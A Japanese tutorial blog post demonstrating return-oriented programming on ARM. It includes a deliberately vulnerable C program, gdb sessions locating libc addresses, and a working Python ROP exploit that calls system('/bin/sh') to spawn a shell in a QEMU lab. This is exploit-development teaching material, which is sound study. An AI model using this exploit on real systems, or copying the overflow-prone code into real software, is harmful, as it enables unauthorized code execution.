ARMでReturn-oriented Programming(ROP)をやってみる
ARM EABI(armel)環境でReturn-oriented Programming(ROP)をやってみる。
環境
Ubuntu 14.04.2 LTS ARM版(ユーザモードQEMU利用)
# uname -a Linux c7b94bb2fc1e 2.6.32 #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 armv7l armv7l armv7l GNU/Linux # lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty # gcc --version gcc (Ubuntu/Linaro 4.8.2-19ubuntu1) 4.8.2
脆弱性のあるプログラムを書いてみる
まず、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書く。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 4); read(0, buf, size); write(1, buf, size); return 0; }
ここでは、read/write関数を使い、データ長とその長さのデータを読み込んでいる。
DEP有効、SSP無効でコンパイルし、実行してみると次のようになる。 なお、QEMUによるエミュレーションのため、ASLRは常に無効となっている。
# gcc -fno-stack-protector bof.c # echo -en '\x05\x00\x00\x00AAAA\n' | ./a.out AAAA
正常に実行できていることが確認できる。
生成された実行ファイルをディスアセンブルし、main関数に対応する部分を抜き出してみる。
# objdump -d a.out | awk '/<main>:/,/^$/' 00008420 <main>: 8420: b580 push {r7, lr} 8422: b09a sub sp, #104 ; 0x68 8424: af00 add r7, sp, #0 8426: 463b mov r3, r7 8428: 2000 movs r0, #0 842a: 4619 mov r1, r3 842c: 2204 movs r2, #4 842e: f7ff ef6c blx 8308 <_init+0x20> 8432: 683b ldr r3, [r7, #0] 8434: 1d3a adds r2, r7, #4 8436: 2000 movs r0, #0 8438: 4611 mov r1, r2 843a: 461a mov r2, r3 843c: f7ff ef64 blx 8308 <_init+0x20> 8440: 683b ldr r3, [r7, #0] 8442: 1d3a adds r2, r7, #4 8444: 2001 movs r0, #1 8446: 4611 mov r1, r2 8448: 461a mov r2, r3 844a: f7ff ef70 blx 832c <_init+0x44> 844e: 2300 movs r3, #0 8450: 4618 mov r0, r3 8452: 3768 adds r7, #104 ; 0x68 8454: 46bd mov sp, r7 8456: bd80 pop {r7, pc}
アセンブリコードの内容から、「ARMで単純なスタックバッファオーバーフローをやってみる」の場合と同じくリターンアドレスがバッファの先頭から104バイト先に配置されていることがわかる。 ここでは、このオフセットについてデバッガで確認する手順は省略する。
デバッガでlibcのベースアドレスなどを調べてみる
今回はASLRが無効のため、デバッガを使い__libc_start_main関数の実際のアドレスを調べることで、libcのベースアドレスを特定することができる。 また、合わせてsystem関数、exit関数が呼ばれる際のARM/Thumbステートについても確認してみる。
root@c7b94bb2fc1e:/# qemu-gdb -q ./a.out [1] 9 Reading symbols from ./a.out...(no debugging symbols found)...done. Remote debugging using :1234 Reading symbols from /lib/ld-linux-armhf.so.3...Reading symbols from /usr/lib/debug//lib/arm-linux-gnueabihf/ld-2.19.so...done. done. Loaded symbols for /lib/ld-linux-armhf.so.3 0xf67debc0 in _start () from /lib/ld-linux-armhf.so.3 (gdb) b main Breakpoint 1 at 0x842e (gdb) c Continuing. Breakpoint 1, 0x0000842e in main () (gdb) p __libc_start_main $1 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xf6708598 <__libc_start_main> (gdb) disas/r system Dump of assembler code for function __libc_system: 0xf6720c94 <+0>: 00 b1 cbz r0, 0xf6720c98 <__libc_system+4> 0xf6720c96 <+2>: 95 e5 b.n 0xf67207c4 <do_system> ... End of assembler dump. (gdb) disas/r exit Dump of assembler code for function __GI_exit: 0xf671a76c <+0>: 02 49 ldr r1, [pc, #8] ; (0xf671a778 <__GI_exit+12>) 0xf671a76e <+2>: 01 22 movs r2, #1 ... End of assembler dump. (gdb) quit A debugging session is active. Inferior 1 [Remote target] will be killed. Quit anyway? (y or n) y QEMU: Terminated via GDBstub [1]+ Done qemu-arm-static -g 1234 "${!#}" 0<&0
上の結果から、__libc_start_main関数は0xf6708598にあることがわかる。 また、system関数、exit関数はどちらも2バイト固定長命令から始まっている、すなわちThumbステートで呼び出されることがわかる。
読み込まれるlibcバイナリからシンボルのアドレスを調べ、libcのベースアドレスを計算してみる。
# ldd ./a.out libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xf66f1000) /lib/ld-linux-armhf.so.3 (0xf6fdf000) # nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep __libc_start_main 00017598 T __libc_start_main # python -c 'print hex(0xf6708598-0x00017598)' 0xf66f1000L
上の結果から、libcのベースアドレスが0xf66f1000であることがわかる。
エクスプロイトコードを書いてみる
ここまでの情報をもとに、ROPによるエクスプロイトコードを書くと次のようになる。
# exploit.py import struct from subprocess import Popen, PIPE addr_libc_start = 0xf6708598 offset = 104 offset_libc_start = 0x17598 base_libc = addr_libc_start - offset_libc_start addr_csu_init1 = 0x848a + 1 addr_csu_init2 = 0x847e + 1 addr_libc_system = base_libc + 0x2fc94 + 1 addr_libc_exit = base_libc + 0x2976c + 1 addr_binsh = base_libc + 0xcbd3c """ # objdump -d a.out 00008458 <__libc_csu_init>: ... 847e: 4638 mov r0, r7 8480: 4641 mov r1, r8 8482: 464a mov r2, r9 8484: 4798 blx r3 8486: 42b4 cmp r4, r6 8488: d1f6 bne.n 8478 <__libc_csu_init+0x20> 848a: e8bd 83f8 ldmia.w sp!, {r3, r4, r5, r6, r7, r8, r9, pc} # nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep __libc_start_main 00017598 T __libc_start_main # nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep system 0002fc94 W system # nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep exit 0002976c T exit # strings -tx /lib/arm-linux-gnueabihf/libc.so.6 | grep /bin/sh cbd3c /bin/sh """ p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) buf = 'A' * offset buf += struct.pack('<IIIIIIII', addr_csu_init1, addr_libc_system, 0, 0, 0, addr_binsh, 0, 0) buf += struct.pack('<IIIIIIII', addr_csu_init2, addr_libc_exit, 0, 0, 0, 0, 0 ,0) buf += struct.pack('<I', addr_csu_init2) size = struct.pack('<I', len(buf)) p.stdin.write(size) print "[<] %r" % size p.stdin.write(buf) print "[<] %r" % buf line = p.stdout.read(len(buf)) print "[>] %r" % line p.stdin.write('exec /bin/sh <&2 >&2\n') p.wait()
ARMでは引数はレジスタにセットされるため、同じくレジスタにセットされるx64の場合のように__libc_csu_init関数内のgadgetを使って任意の3引数関数を呼ぶことができる。 実際にディスアセンブルすると、このgadgetもThumbステートにて実行されることがわかる。
__libc_csu_init gadgetを用いる今回の場合、x86におけるret相当の操作はldm命令によりスタックからpcがロードされることによって行われる。 また、関数の呼び出しはblx命令によって行われる。 したがって、実際に呼び出す関数、gadgetがThumbステートの場合はアドレスの最下位ビットを1にしておく必要がある。
実際にエクスプロイトコードを実行してみると、次のようになる。
# python exploit.py [<] '\xac\x00\x00\x00' [<] 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b\x84\x00\x00\x95\x0cr\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\xcd{\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00m\xa7q\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00' [>] 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b\x84\x00\x00\x95\x0cr\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\xcd{\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00m\xa7q\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00' # id uid=0(root) gid=0(root) groups=0(root) #
DEPが有効な条件下で、ROPによるsystem関数の実行によりシェルが起動できていることが確認できた。